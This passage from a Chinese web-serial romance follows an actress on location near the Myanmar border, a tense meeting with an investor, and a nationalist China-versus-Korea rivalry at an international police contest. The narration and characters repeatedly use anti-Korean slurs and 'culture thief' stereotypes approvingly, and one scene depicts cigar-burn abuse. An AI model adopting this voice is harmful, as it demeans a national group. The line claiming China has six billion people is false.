说罢，搀起人就往座位里摁，口中带着威胁：“你再拱火惹人注意试试呢。”
好在此时夜半，大家都很是疲惫，也没在冷嫦狼狈摔倒的时候冒两句奚落话，过了一会餐毕，便互相道了晚安回房间去。
冷嫦等了很久，都没见到郗正回来的身影，想到明早又是硬戏便压下心底小忿也跟着回去睡觉了。
翌日清晨的第一缕阳光穿过绿林，鸟鸣猿啼在山谷里盘旋，冷嫦睁眼正好和竹帘背后的光撞在一起，大脑一下子激活。
往后三天的日子拍摄紧凑，也不知程导为何修改拍摄顺序，连续几场戏他们都先拍了边境线附近的戏，在此过程中郗正没有再出现在片场，每次从车上下来之后便消失不见。
今天更是在下车后，冷嫦瞅见郗正和程导握手，作出分别的模样，背着大包往剧组反方向去。
冷嫦给郗正去了条消息：【不是要负责监管一周吗？你怎么走了？】
郗正：【行程有变，回云城再联系。】
*
结束了当天的拍摄，导演给了冷嫦两个小时的自由时间。
拍摄现场一公里外有个边境小镇，缅商往返两地，多是些玉石生意，为了安全，程导让助理徐舒俊陪同前往。
好几次徐舒俊都在她去摸东西前喊住对方：“这里靠近缅北，鱼龙混杂，民风不比城市，不要乱碰别人的东西。”
冷嫦并没有把这些话放心上，以为是指曾经被报道过类似宰客的行为，碰了就要买，于是笑着说：“没事哒，我会买的。”
难得来一趟，被宰也无妨，冷嫦看了下银行卡余额。
嗯…应该还不至于被宰得破产。
徐舒俊低估了冷嫦探险的好奇心，明明拍了这么多强度的戏码，逛起街来完全不露任何疲态，甚至连着两回在人多的岔口差点跟丢。
他扶着眼镜，气喘吁吁，不断呼唤冷嫦：“慢点，你慢点。”
冷嫦买了条烟粉色镂空的大织巾，学着当地人的样子三两下围在头上，只露出一双灿若星辰的眼眸。
这里流通人口众多，打扮尽不相同，没人在意冷嫦的存在，反倒给了她久违的自在，徐舒俊本是个社畜附体的极致打工人，在冷嫦一次次的拉扯中，慢慢被同化。
一会投喂酸辣土豆，一会塞串油炸蝉蛹，一会逼他吃豆腐面…
“呐，陪我逛了这么久，这块玉送给你了！”
说完的同时，徐舒俊手中已经多了块平安扣式样的小吊坠，上面还写着吊牌价——6800.
徐舒俊作为程导的助理，博览诗书精通各方文化，对玉器也有了解。
只是掌中玉的种料粗糙，显是玉阶里最为低的豆种，冷嫦这摆明了被宰。
于是徐舒俊快步跟了上去，叫住冷嫦：“快去退了。”
这块玉别说6800了，抹掉个0都不值。
话音刚落，就见冷嫦手里抱着一堆差不多品质的玉料，价格也都在大几千，听到徐舒俊要她退了，她很是真诚：“是不喜欢吗？不喜欢的话我这里还有很多！”
徐舒俊将她带到人少了点的小巷：“不是不喜欢，而是不值，你被商家骗了。”
原以为按冷嫦的性格定然会回去讨说法，谁知道她竟是无所谓一笑：“我知道呢，一点小心意没想着要送多好的东西。”
话虽如此，徐舒俊仍是坚持：“你花得这些钱完全够买质量更好的东西，听我的，去退了吧。”
冷嫦经他这么提醒倒是点头：“是我没考虑周到。”
说着，就见冷嫦将上面的标价吊牌一个个摘掉，再对上她眼眸时，又是一抹春色荡漾。
她说：“这样的话，大家就不知道价格了。”
也不会觉得她花冤枉钱，只当是小玩意的伴手礼讨个乐趣。
徐舒俊：“你…”他不明白为什么冷嫦明知上当却还是不愿意退。
就见冷嫦抬手一指不远处的小摊：“你看角落里那个小孩，光着脚，手背上还有吊水的纱布片，就那种情况还跑来出摊，多可怜。”
徐舒俊吃了一惊，算是知道了冷嫦坚持的缘由。
仅凭一份善意，自掏腰包。
还没等徐舒俊对此发表任何看法，一道清冽的声音由远至近，掺和着几分低笑。
“眼见不一定为实。”
两人抬头看去，一张算是熟悉的脸出现。
冷嫦认出了声音的主人，正是试戏那天碰到的男人。
徐舒俊显是一愣，而后毕恭毕敬地鞠了躬：“陈先生，您怎么在这里？”
被称为陈先生的男人唇角微勾，眼里充满了属于生意人的精明，对视间让冷嫦感到有股看不透的压抑。
“我是陈南，很高兴认识你，冷小姐。”
陈南？
冷嫦脸色一顿，猛就想起了这个名字的主人。
首富之子，陈南。
也就是陈北的哥哥。
冷嫦不知为何，竟然向后退了一步，就连向来爱笑的表情也不再维持，她突然有了种想要离开这里的冲动。
陈南看出了冷嫦表情的变化，绅士手腾空不让：“也是你们这部戏的唯一投资人。”
话句话来说，陈南想把她这个女主角换了，那也只是一句话的事情。
冷嫦眼皮轻跳，视线紧盯陈南指尖，她花了几秒平复，便握过去再次笑着打招呼：“您好，陈先生，我也很高兴认识你。”
陈南的手很冷，两人掌心相抵的那刻，冷嫦觉得好像被什么潮湿寒气包围。
冷嫦想到冷忠明曾提到过商场上的事情，陈南的这个名字也出现过，她记忆不深，只记得老爸说他这个人城府很深，相当危险。
陈南锁着冷嫦游离的目光，揭穿道：“可我看你，并不是很高兴的样子。”
冷嫦的五指在身体滞瑟的情况下跟着一抖，气势上突然就弱了几分。
好在陈南没有继续作弄下去，松开冷嫦后朝向徐舒俊够了勾手指：“你跟我过来。”
转身之前还对
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冷嫦看似礼貌地建议说：“这里即将举办国际刑警大赛，再往前就是比赛地点，或许你还想去那里逛逛。”
冷嫦昨天并没有听到郗正的通话内容，对此也完全不感兴趣，刚要拒绝表示该回去了，脑中却闪过郗正白天离开的方向，似乎正是朝向那里。
莫非…
“谢谢陈先生，那您先忙。”
陈南留给她一个意味深长的眼神，轻轻点头：“有机会再见。”
冷嫦将买的玉器挂件往包里赛，余光扫过方才那个可怜的小男孩，却看到对方见桌面上的东西已经一扫而空，再也不装了，擦掉脸上的污泥，扯掉手背上的纱布，然后从兜里掏出了前两天才发布的最新水果手机。
一时间，震惊写满她的脸，冷嫦气得想上去理论，但很快摊位便是几个花臂刺青的男人围了上去。
冷嫦瞬间哑火。
……
“人生地不熟的…窝囊一点不算吃亏……”她挥着拳头说服着自己，等看清前面大门的时候已经来到了基地门口。
【射击中心-格斗中心-赛事征用中】
三米高的铁栅栏没有围死，相反大门敞开，冷嫦没有再往前，因为那里已经竖起国境线的石碑。
这个地方像是废弃的工业用地，周围停着许多迷彩车辆，看来陈南没诓她，这里确实有相关比赛。
冷嫦看到不远处的荒地上一列列大巴车整齐排列，上面还贴了各个国家的国旗。
冷嫦立刻拿出手机开始搜索相关内容，原来比赛将在明天正式开启，首先是射击和格斗，再是铁人三项的极地越野，主办方中国，选址就在这里。
她继续往下翻参赛名单，很快便找到了所期待的郗正二字。
内容显示，由于原定人员受伤的缘故，中国派出郗正替补参赛。
这类国际赛事有极高的含金量，各国都非常重视，明天开幕式更是有各国嘉宾助阵，什么韩国女团啦，日本唱跳王啦，冷嫦扒拉着节目表，中国只有一个文化展示的舞蹈。
冷嫦个人相当认可国家底蕴不屑于和他国那样靠着娱乐圈博热度，但是她也明白互联网的规矩，有热度才有话语权。
到时候国外黑子们免不了吐槽中国竟然连国内艺人助阵都没有，以此大带节奏误导视线。
冷嫦深知文化大国的调性，也明白他们这些身为娱乐圈角色该有的使命。
这时候不站出来，还等什么时候？
她拳心一紧：“高度的事情交给国家，热度的事情交给我们。”
回到剧组，冷嫦罕见地主动造访许栀玫。
许栀玫见到她和瘟神一样，碍于周围有人不好发作，只能让助理将其他人都支走先。
冷嫦见只剩彼此，不等许栀玫嫌弃地发问，带着某种必胜的笑容，算盘珠子都快崩到她脸上：
“许栀玫，想不想跟我干件大事？”
许栀玫瞪大眼睛，呆呆看着冷嫦：“？”
心说她是有什么毛病？
冷嫦却全然忘了两人嫌隙，激动地双手握住对方道：“炸爆热搜的那种，不仅是文娱板块，是全站热搜的那种。”
16. 中韩口水战
许栀玫正在背明天的戏，没工夫打理冷嫦，下了道逐客令：“别以为我不知道你安的什么心。”
天底下哪里会有这种好事。
冷嫦无比认真，见许栀玫不信便打开手机网页给她分析：“咱们是离比赛场地最近的，不消耗政府预算的情况下我们主动声援，双赢的事情！”
娱乐圈和国家赛事联动？
许栀玫很少关注这些，看到网页内容的时候也着实跟着动摇了。
冷嫦还在继续罗列这么干的好处：“我看了时间，明天九点咱俩都没戏要拍，别犹豫了，为国出力义不容辞的事情有什么好考虑的？”
许栀玫想了想还是拒绝道：“哪有你想得这么简单…这些事又不是我们能做主的。”
冷嫦诶了一声，表示这些不用担心：“文化局的批示我已经找人去请了，今晚肯定能下来，你放心。”
许栀玫：“！”
她怔怔看向冷嫦，心声不自觉泄露：“冷嫦…你到底是何方神圣？”
不说两人关系势同水火竟被邀请参加这么正面且有影响力的赛事，这种涉及官方的批示，她竟然表示没问题已经搞定了。
莫非冷嫦背后的人，比她想得还要厉害？
冷嫦自认为家里那些钱和真正的大佬相比根本算不上权贵，只是相较普通人家里人脉确实广了些，来见许栀玫前她已经拜托老爸去找相关负责人，走的也是正常申报流程。
冷嫦给上头的理由很中听，也解决了这类赛事不占用正常资金的开支，冷忠明对女儿此举也表示要力挺，期间演出发生的一切费用由他这里承担。
于是，在晚上十点的时候，程导接到了官方的电话。
他先是一惊，得到国/安局和文化局达成合作的意向后也不敢推脱，挂了电话，灯火摇曳里，两个身影在墙上呼应跳跃着，身形较为单薄的程导一副愁容满面的样子望向陈南。
“那你的计划怎么办？”
陈南好整以暇地抬眸，指尖削雪茄的动作没停：“不急，也正好看看他到底有什么本事。”
程导呼出一口浊气，表情掺着半点试探，眼神却是一点没敢直视对方：“真的要和他们斗吗？我怕……”
“——嗯？”
陈南拉长了尾调，价值五位数的雪茄顷刻间在他双指间断成两截，陈南似笑非笑地提醒：“又忘了自己的身份？”
吓得程导连忙起身鞠躬，连续说了三个对不起也没敢直起脊梁。
传闻里的天才导演，圈子里的大神地位，却在真正的资本面前连最基本的尊重都难以维持。
陈南将点燃的雪茄一侧往他背上丢过去，格纹衬衫很快就被烫出了焦洞，刺得程导咬牙发抖。
不知过了多久，陈南才懒懒道：“起来吧，都熟了。”
一股焦肉香混杂着窗外泥土的潮气。
程导缓缓直身，被炙烤的疼痛已经变成顺从的麻木，他双唇发白发怵，到了嘴边却是一顿感恩戴德：“谢谢您的宽恕。”
陈南见状离座，来到门口时忍不住轻蔑地笑了一声：“好狗。”
*
程导在几分钟后召集大家，宣布接到上级指示，全力支援国际刑警大赛，他言简意赅地说出了冷嫦和许栀玫两人是正式海选出道，有唱跳功底。
剧组正巧也有编舞老师在，几人挑灯夜战，硬是在晨曦来临之前赶出了一套节目。
琳达很是意外：“你俩关系这么差，没想到舞台上的默契倒很足。”
“谁说不是呢。”冷嫦小声回答，“我还以为她会和我争镜头多少呢，没想到这么配合。”
琳达：“到底上升到国家，看来她格局还是有的。”
冷嫦喝了点水开始化妆，时间紧张，距离国际刑警大赛原定的开幕式还剩3个小时不到。
黑色的保姆车停在距离赛事中心一百米处，化妆师的刷子都快抡冒烟了，也就冷嫦服饰储备大，就连铆钉亮片这样适合在舞台上唱跳的衣服都能翻出来。
许栀玫身材和她相似，穿得正好。
两人身着亮色背心短裙下车的时候，原本因为调性设定相对板正的剧组氛围一下子变得青春靓丽起来，前来打气的工作人员也终于承认了冷嫦不输内娱任何人的姿色。
远处的思密达女团也已经整装待发，站在大门口接受国际记者们的采访。
她们身经百战，媚眼天成，各种性感姿势频出，惹来场内各国选手一众口哨起哄。
思密达的选手刑警自然面上沾光，为首的那人名叫韩仁柱，自信笑容之下更是摆出一副占尽风头的样子，叉腰走到临时接任队长的郗正面前，用着蹩脚的中文叫嚣道：“欧，朋友，你们国家连拉拉队都没有吗？”
边上另一名长腿跟风说：“谁不知道我们韩国美女多，他们，啧啧，比不了的，当然不肯来出丑。”
郗正横眉扫过，只一秒的停顿，便反讽道：“怎么，你们是来参加选美比赛的？”
原就是特种兵出身的邓平更是和自家郗队打配合道：“就是，有什么本事赛场上见，还是说你们国家要靠女人出来挣脸面？”
话糙理不糙，话里话外都在暗指泡菜的男人小家子气，上不了台面。
对面几人中文只懂些皮毛，一下子没反应过来，但从语气上还是感知到了郗正二人的不客气，于是韩仁柱和远处的女团队长对视一眼。
六人女团很会来事，冲着摄像机作出过来的指示，然后便来到了韩国选手的身旁。
MELS女团在亚洲很有人气，在国内也有不少支持者，身材样貌都是严格筛选出来得优秀，原本双方男子对峙还有余地，现在至少在人数上，光靠郗正和邓平来看，稍显不利。
MELS曾在国内也有许多演出，本方媒体见到如此剑拔弩张的气氛，忙架着摄像机也跟了过去。
转播实时同步，弹幕的粉丝看到MELS一下子都疯了。
【OMG，是MELS！他们竟然请到了MELS助阵！】
【我的天使姐姐们，好漂亮哇！！】
【虽然我很爱国没错，可是…有了姐姐们助阵，韩国那边确实更养眼。】
【拜托，这是国际刑警技能大赛，关颜值什么事？】
MELS队长ANNA，扬着标志性笑容朝郗正握手，出于礼貌，郗正自然搭手，然而没等他撤回，ANNA却引战
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道：“我们可是为了来这里加油推掉了亚洲巡演呢，不知道你们的声援团队在哪呢？”
说着，ANNA还装出一副四处张望的样子：“还是说，你们没有任何团队来助阵？那未免也太随便了吧。”
郗正：“助阵不一定是以这种形式，中华文明上下五千年，地广渊博、包罗万象，你们历史存在短，不理解也是很正常的。”
ANNA：“……”
韩仁柱这回听明白了，可惜这么多镜头对着他他不能武力回应，只能言语上试着回击，找了个刁钻的角度问道：“我只知道事关国家，我们的民众都希望可以亲自前来加油，MELS是为荣誉而来，反倒是你们，这么简单的道理竟然不明白，连亲自来支持的人都没有。”
空气里充满火药味，似乎随时就要爆炸。
此间天籁传来，“谁说没有？”
甜美语调毫无遮掩张扬之气，冷嫦一把拉住许栀玫的手，抢占c位，两个人生生把镜头占住。
被挤在后头的韩国队和MELS女团只能把身位往后挪。
冷嫦脑子转得极快：“在自己家里还需要搞那么隆重做什么？我没记错的话，中国每年都参加并得前三，倒是你们，拿个前十都费劲，也确实需要兴师动众地来加油才行。”
许栀玫第一次觉得冷嫦怼人的话很是中听，忍不住想笑。
ANNA瞧着冷嫦眼生，必定不是大咖，她能在娱乐圈混的风生水起的必然也不是什么善茬，于是接着冷嫦的话往下道：“你并不是什么名人吧？难道中国就挑不出什么像样的人物来吗？”
冷嫦抱臂一笑，骂娘的话已经到了嘴边，好在余光看到郗正的眼神，便收起了自己不多的素质。
她眯着眼，看似表情松缓，话里可是掺了十斤砒霜的量：“姐，你们国家统共那么点人，选出几个代表来是不难，但我们足足有六十多亿人口，这得选到什么猴年马月？”
许栀玫打出与冷嫦的首次配合，口中温柔刀缓缓而止：“或许，你们MELS一年的话题都没有她一天热搜的点击量高。”
嗯…这话虽然没说错，但冷嫦总觉得这话有分歧，毕竟她的热搜基本都裹挟着其他知名艺人，话题也多半是争议的。
但数据来说！
冷嫦为许栀玫默默扣了个赞，数据打脸，没错！
网络热度持续飙升……
【这冷嫦是不是太嚣张了点？】
【不是韩国队先搞事情的吗？我们合理反击罢了。】
【这比赛绝对好看，还没开场就这么多纷争。】
【可我总觉得冷嫦太狂了，会给我们国家招黑。】
【狂？拜托，我要是有她这张脸，我比她还狂。】
陷入完全被动的韩国队纷纷哑然，倒是郗正出言调停，看似和平却充满不容逾矩的坚决：“开幕式就快开始了。”
“希望你们在比赛的表现真正赢得全世界的关注，而不是光逞口舌之快。”
镜头首次切到郗正正脸。
【这位参赛刑警是谁，我刚才居然没发现，好特么帅！】
【这位哥，考虑出道吗？我天，这把颜值局！包赢的！】
17. 逆转
亚洲面孔在这里本就少，韩国队伍走开之后，剩下的几名中国参赛刑警也朝着郗正走来，这些人除了邓平之外，都是第一次和郗正打照片，好在同职业和国家的归属感让他们相顾一视，信赖立刻建立。
郗正的长相是那种极具代表性的东方脸，偏偏骨骼清晰眉眼上扬，为他的脸带去深邃的勾勒，不作表情的时候写着严肃压迫，就算笑起来也不会让人联想到温柔这样的词。
然而就是这种长相，只一眼都让人觉得很靠得住。
“跟我来。”
短短三个字短促有力，和他的脸一样，令人安心。
郗正将队伍和冷嫦二人带到了挂着国旗的专属休息区，竞技赛事不比商务内容，场地纯粹得甚至有点粗犷，远远望去，满场肌肉男遍地，纵使郗正的身高在之中也不显耀眼。
黄皮肤，黑瞳孔，似乎从来都不是冠军的热门，可每个国人心底都怀着对冠军的无限追求。
在冷嫦和许栀玫这样的艺人带话题之后，文娱榜和总榜很快就将赛事推到了新的热度，引来不少路人围观。
【国际刑警大赛？还有这样的比赛吗？】
【我天，这就是刑警吗？好一波制服杀，想去现场QAQ】
【我好像看到靶场了，不会有真刀真枪的比试吧？】
【第一次看这种比赛诶，突然很紧张怎么回事。】
【姐妹们，快看中国休息区，卧槽！怎么一个个都这么帅？】
【该死的，原来好看的都上交给国家了。】
正在检查防弹背心的郗正等人只关心即将到来的开幕式，时刻准备着列队入场，冷嫦比自己上热搜还激动，全然忘了许栀玫和她的临时组队关系，兴奋地分享说：“看，这么多人来看比赛，我就给你说双赢吧？”
许栀玫劝她收心别刷手机了，等韩国队之后马上就是她们的表演了。
此时台上刚结束五十六个民族的服装舞蹈，全场气氛已然进入小高潮，纷纷赞扬中华文明璀璨。
紧跟着韩国MELS女团登场，身材火辣的她们一个个摆出妖娆风情的姿势，每一次呼吸都露出性感事业线。
满堂欢呼里，她们还作出飞吻的动作，引来全部媒体的关注。
【到底是亚洲女子天团的摇篮，唱跳没得说，脸更是无敌，韩国一出手，还真是打遍天下无敌手。】
【都是科技的脸有什么好看的？】
【那人家至少有女团来捧场啊，咱们呢？永远都是国风传播。】
【那是底蕴好不好！】
【底蕴是底蕴，但年轻人的爱好也得有啊，就不能来点大众审美？】
【你们别吵了，快看候场那里，那是许栀玫吧？】
【边上那人是冷嫦？？卧槽，她俩能同框？】
【同框也就算了，她俩这装扮是想干嘛？？上去跳舞？？？】
【是的家人们，我刚才看直播来的，她们已经和韩国队干一仗了，太猛了。】
【姐妹，展开说说，怎么干起来的？】
话题持续刷新中，舞台上的劲歌热舞也已接近尾声，MELS在ANNA的带领下弯腰致谢，朝着自家韩国选手的所在比了个大大的爱心，随后对着写着中国字样的屏幕露出灿烂笑容，并用中文说道：
“每次来中国就和回家一样，尤其是看到中国和我们相似的文化，再次感谢中国代表团们刚才展示的民族舞蹈，也替我们宣传文化。”
【替你们宣传文化？？？】
【偷子又开始了？？？】
【这帮小偷疯了吧？他们怎么敢的啊？】
许栀玫嗤了一声：“果然，棒子什么都偷。”
冷嫦感觉脑袋里的神经被狠狠揪住，恨不能套麻袋狠狠收拾他们一顿。
没想到ANNA见到满场沸腾，并没有收敛的意思，笑容更是肆意，挑衅的目光洋洋洒洒地冲向冷嫦等人，边上的另一名女团队友也笑嘻嘻地说：“是呢~而且中国是我们的幸运地，每次来这里我们都能带回奖碑。”
【好像还真是，上个月hiphop大赛是韩国在广城夺冠了。】
【上上个月在申城的KPL也是韩国夺冠……】
【家人们，我快破防了，不要哇！！！】
【姐姐们别作死哇，不要搞对立哇！】
【这和踩我们头上拉屎有什么区别？】
【MELS什么意思啊？是想退出中国市场吗？竟然这么叫嚣。】
近些年来中韩在各领域角逐激烈，彰显各自的实力，此次刑警大赛表面上是技能比拼，实则也是警力装备的实体化展现，这次韩方来势汹汹，每句话都是针对中国而来。
眼看气氛走向白热化，主持人连忙化解：“亚洲一家亲，我们也希望韩国的朋友们可以多来，那么接下来仍旧是中国代表团带来的节目——”
冷嫦调整麦克风位置，对身旁的许栀玫比了个口型：准备好了吗？
许栀玫和冷嫦一样，早就被点燃了内心的斗志，在共同的敌人面前，她不介意陪冷嫦疯一次。
随着嗨翻天的音乐敲击着大地，电音音浪阵阵跌宕。
【她俩？！我没看错吧！她俩会跳舞？！】
【我想起来了，她俩都是闪亮星女选秀出道来着，只是最后都当演员去了。】
【我靠，所以这俩才是真金白银的唱跳出生？】
【美呆了！！！！你俩还演啥戏啊？就这对舞台的掌控力！求求你们成团吧！】
冷嫦的评论瞬间高大上起来，黑子也在这种特殊时刻选择了一致对外，挂着冷嫦anti粉十级牌子的众人也纷纷加入热评。
【这冷嫦还是有点真东西的啊，看来她能火也不是没道理。】
【岂止真东西？你们快看MELS的表情，我简直要爽死了，她们真以为就韩国人会跳舞？】
国风改编的摇滚曲目，正如二人挥洒汗水的倾力演出，冷嫦用实力证明她不是包子，关键时刻她完全可以站出来独当一面。
冷嫦她们的节目由于临时增加，所以是开幕式最后一个节目，之后便是抽奖环节。
为了让比赛更吸引国际观众，加入了很多西方玩法，类似于飙垃圾的环节。
首先进行的就是小组抽签。
有了冷嫦为
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中国队造势，许栀玫也反常地不去抢风头，将抽签的资格留给冷嫦。
“我？让我去？”冷嫦有些不敢相信，“这合适吗？”
郗正站姿严正，目视前方：“去吧。”
冷嫦反而有些不好意思：“毕竟是你们的比赛，万一我抽到不好的分组呢？”
郗正：“抽到谁都一样。”
言下之意，只有晋级，不允许失败。
冷嫦刚要为这充满张力的话倾倒，就听郗正不算夸奖的话飘到耳边：“有飚垃圾话的环节，你比任何人都合适。”
冷嫦：“……”
怪不得许栀玫不和她抢，那是要崩人设的。
有了郗正的肯定，冷嫦只能硬着头皮穿了件外套来到场上。
媒体几乎都快怼到她脸上，好在作为艺人她早已习惯如此，中国队作为主场，第一个参加抽签。
四个国家一组，每组胜出的一队才能进入最后的决赛。
小组赛内设定有格斗、多项射击、极限攀登、游泳等多项比赛，采取积分制。
冷嫦性子爽快，几乎没有犹豫就从箱子里抽出了此次小组的编号。
主持人宣布：“中国队，C组。”
得到组别的冷嫦往后一步，等待其他代表团抽签。
韩国队是排在第七个抽的，一直到现在还未出现与中国对同队的情况。
他们虽然在言语上很狂妄，但也深知中国队的真实水平，并不想就在小组赛的时候遇到对方，都指望在决赛圈再分出个胜负，避免乌龙开局。
此时中国的媒体挤到了冷嫦的身边，他几句话点评了冷嫦此行带给国人的振奋，也期待后续比赛的进展。
冷嫦习惯和记者打交道，避重就轻地打着太极，多是些冠冕堂皇的话，实际上就差把“当然了，必须把他们干掉”的话挂在嘴边。
很快话题消停，韩国队队长韩仁柱来到抽签箱之前，抽之前还因为心理作用看了下冷嫦的方向，似乎在许愿，从表情上来看早没有开幕式前的那种镇定。
或许是没能在女团的事情上得到压倒性的胜利，令他有些心神不安。
冷嫦也正目不转睛地盯着对方，阳光也在此时爬上了正中间的位置，光晕洒在她白皙的肌肤上，像是画里走出来的美人，就算身着现代服饰也挡不住她骨子里的气质。
冷嫦身处壮汉包围之前却不露怯色，纤细身边直直挺立，宛若陶瓷的下颚线高高扬起，眼里飘着几瓣天山雪，仿若仙子跌落凡间，仍带着一身冷傲。
再看韩仁柱，迟疑了几秒后才将手伸进抽奖箱，而后又是鼓捣了很久才舍得拿出来。
韩仁柱转身微微背对冷嫦，对折纸张展开的动作却正好可以让她看到里头的字母。
只见冷嫦昂立的脸庞划开一条张扬的口子，阳光将她皓齿下的红唇趁得更为惹眼。
一旁的记者垫着脚，努力探着头也没能看到韩国队分组的号码，忍不住问道：“韩国队抽到了什么？”
只听耳畔响起冷嫦又娇又甜的笑声，明明是软云的声音，却听出了雷霆的嘲意，她轻笑道：
“回国的机票。”
18. 靶心
【抽到了…回国的机票？】
【第一次感受到了冷嫦黑粉的压力，这丫头怼人的思路这么清奇？】
【人怎么能有梗成这样…】
原本还在紧张等待抽签结果的网友瞬间被逗乐了，冷嫦竟然吸了一波圈外路人粉。
转眼间粉丝就多了好几万。
冷嫦这自然流露的吐槽就连接下去的垃圾话环节都省了，韩仁柱不知道为什么只要盯着冷嫦的眼睛看，就有种说不出的神秘力量死死按着他。
明明他高了冷嫦近乎一个脑袋的身高。
……
结束了上午的演出抽签，冷嫦和许栀玫没有再待在比赛现场的理由。
下午的比赛两点开始，许栀玫审时度势，知道这次操作可能为她带来各类技能赛事的粉丝群体，于是抓住机会，对着郗正几人加油鼓劲。
冷嫦完成任务早就困得不行，拉着许栀玫就想离开。
远处的大巴车，喷着七彩绚丽MELS字样的车子，也和来之前声势浩大不同，竟然是婉拒了所有采访径直离开了。
看来西八还是只适合打嘴仗，反正无论输赢他们都会外网上给自己国家一顿好洗，中国向来凭实力说话，这次冷嫦在嘴上也没输，网友们表示有被爽到。
“我傍晚还有一场吊威亚，你好了没。”
冷嫦挡着太阳，招呼许栀玫快走。
许栀玫半撩开碎发，露出精致侧脸，找了个最完美的角度展现在摄像机前，然后才朝中国选手们挥手拜拜：“我会继续给大家加油的~”
相比冷嫦完全自然状态下，甚至有着小不耐烦的表情。
网友们还是更喜欢许栀玫一些。
谁让许栀玫看上去性格更亲和许多，冷嫦全然不在意，拉着许栀玫就往场外走，一连打着两个哈欠，全给直播到网上了。
网友们无奈评价冷嫦【夸不了一点。】
才当了两分钟的女神，又跌回原点。
“队长，我去送一下她们。”邓平已经穿好防弹衣，收拾完毕。
郗正本想点头，拿起桌上的护膝准备做热身，眼尾扫到一处白晃晃，他抬头，对上一窝金发碧眼的欧美人士，他们明显在看冷嫦几人。
男人之间最懂彼此，郗正很快就从那些人直白的眼中嗅到了肮脏。
于是快邓平一步来到冷嫦身边，邓平的道别话还没说完：“郗队在忙，我就代替——”
冷嫦歪着脑袋，阳光跌进她棕栗色的瞳孔里，她迎着光有些睁不开眼，根根分明的睫毛上连漂浮的沙场尘埃都能看到。
“不是在忙吗？”
郗正并不说话，手上还捏着一副护膝，确实看上去匆忙赶来的样子，这模样让冷嫦有种受宠若惊，能让郗正放下事情来送她？
只是她没看到，郗正宽厚胸膛挡住的除了阳光，还有来自某些不善的目光。
到了门口，郗正也只是回身望向远处，确定那些人不再看向这里之后才转身离开。
对此许栀玫有些不解，她方才试图和队内所有选手说话，偏偏这名叫郗正的全程冷脸不说，连一句客套话都没有。
现在却护送她们到门口，这是为什么？
许栀玫扶着车门正要上车，又看到冷嫦一个人在傻笑什么，看上去像个笨蛋。
这个念头蹦出来的同时，她自己都愣住了，她竟然和冷嫦这个笨蛋合作了？
……不可思议。
*
这头的冷嫦拍摄如火如荼，那头的郗正比赛也进入白热化阶段。
韩国队除了开幕式有女团助阵装了波大的，在小组赛第节节败退，直到射击比赛才重新恢复了些先前的气焰。
原因无他，韩仁柱服役的时候曾是他们团里拔尖的涉及好手，相当于这是他稳赢的强项。
沉不住气的韩仁柱全然忘记了其他项目的失利，一旦有着明显优势的时候便像个跳梁小丑。
冷嫦结束拍摄和剧组的人一起观看比赛，正巧就看到韩仁柱带着护目镜朝郗正作了个抹脖子的挑衅动作。
“啪”得一声。
所有人依声望去，就见到冷嫦那个价值一万多镶嵌着无数颗水钻的保温杯滚落到地上。
往上看去，冷嫦的表情比被程导骂会不会演戏还难看。
琳达赶忙“哎哟”一声分散了注意力，弯腰捡保温杯的时候还顺势拍了一下冷嫦的后背，意在唤醒她的理性——别激动啊祖宗！
冷嫦咬牙，只能将骂西八的话吞了回去。
屏幕里的韩仁柱潇洒挺枪，砰的声响之后，打出9.6的好成绩。
没等他朝观众席做出欢呼的动作，又是砰的声响，巨大的电子报幕，中国队，10环。
韩仁柱扬着手欢呼的动作颤了下僵在空中，好像一只大螳螂…
冷嫦真是这么想的，这韩仁柱是典型的韩男长相，眼尾吊的高高的，长着一对单眼皮眼睛倒不小，不过安在他小小的脑袋上配合那长长的四肢…真的很像螳螂…
韩仁柱很快调整了表情，再度朝向靶心一击。
电子屏报出成绩，8.9环。
在外人看起来8.9环已经是非常好的成绩，韩仁柱心里却明白，他的心态已经有了些许变化。
没等他脑中这份躁动压制，又是一声砰。
电子屏报出成绩，中国队，10环。
这下韩仁柱的表情肉眼可见地崩了，他嘴角抽搐着抱起枪，深深吸了口气，嘴里还念叨着什么。
“西八。”
冷嫦替他说出了这句话，也成功收获了周围人异样的目光。
冷嫦解释：“是韩仁柱骂的！”
大家这才恍然大悟，你一句我一句开始指责起小西八输不起，网上的弹幕也是如此，眼尖的人都发现了韩仁柱嘴里带脏字。
若是本身技不如人也就算了，这可是韩仁柱的强项，大家对他寄予厚望，怎么可以这个节骨眼翻车呢？
韩仁柱屏息凝视，专注的视线终于看上去像个有责任的刑警了。
随着砰声与灰烟再度降临，打出了9.8的好成绩，他收枪立刻做出YES的动作，为找回状态而欢呼。
郗正同样架枪，却不知道哪里来的一束光，像是故意折射出来，正好在郗正对准靶心的时候闪到了他的眼睛，紧跟着枪声飞出……
满座唏嘘一片，电子屏显示
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成绩，8环。
中国队落后0.3
韩仁柱将比分顺利拉开后，摆出胜利者的姿势朝看台鞠躬，仿佛胜利已经手到擒来。
在裁判的催促中，他信心倍增地射出子弹，又是9.8的分数。
而一旁的郗正根本没给场外那些阴暗分子再次作乱的余地，几乎是在所有人眨眼的时间，飞梭的子弹已经命中靶心。
电子屏再度显示在10环的完美成绩。
反超胜利！
“不可能！不可能！他作弊！”破防的韩仁柱张牙舞爪地指着郗正，“裁判，他的靶子肯定有问题！让他重新射一次！肯定有问题”
狡辩是他们一惯的手法，弹幕全是骂他们无耻的，自己喜欢犯规还污蔑别人。
裁判试图说服他冷静，可韩仁柱还在那发狂地胡言乱语。
一旁的郗正本来已经把枪放下，看到对方还在无礼野蛮的闹下去，问裁判：“已经判断我的分数，接下来出现在靶心上的任何行为都不计入成绩，对么？”
看似询问，动作却是已经写着笃定，并利索地重新给子弹上膛。
裁判似乎看出了郗正下一步的行为，力挺道：“所有成绩都被高速机相机录入，补枪不作数。”
韩仁柱的场外援助错过上一枪的机会，再也不敢失利，早早举起镜面，准备让郗正的射击再次偏离。
可没想到，晃眼光点才投过去，就见郗正的眼皮往下一落，结实的手臂跟着抬起。
子弹倏地向前飞出，稳稳落在靶子上。
电子屏显示——10环。
【我的天？！这确定不是魔法吗？】
【盲眼射击？还打了10环？？？】
【妈妈，我看到外星人了！！】
【这个叫郗正的选手也太帅了…他到底有什么不会的啊……】
网络全部沦陷于此，连带着满场沸腾的欢呼。
郗正的声音却仍是冷淡的，眼睛的光重新聚拢在他乌瞳之间，黑得发幽，深不见底，那声音从高处用力落下，击碎了韩仁柱所有的自尊心。
他说：“到你了，试试？”
*
经此一战，韩国队完败，彻底从小组赛中抹去名字。
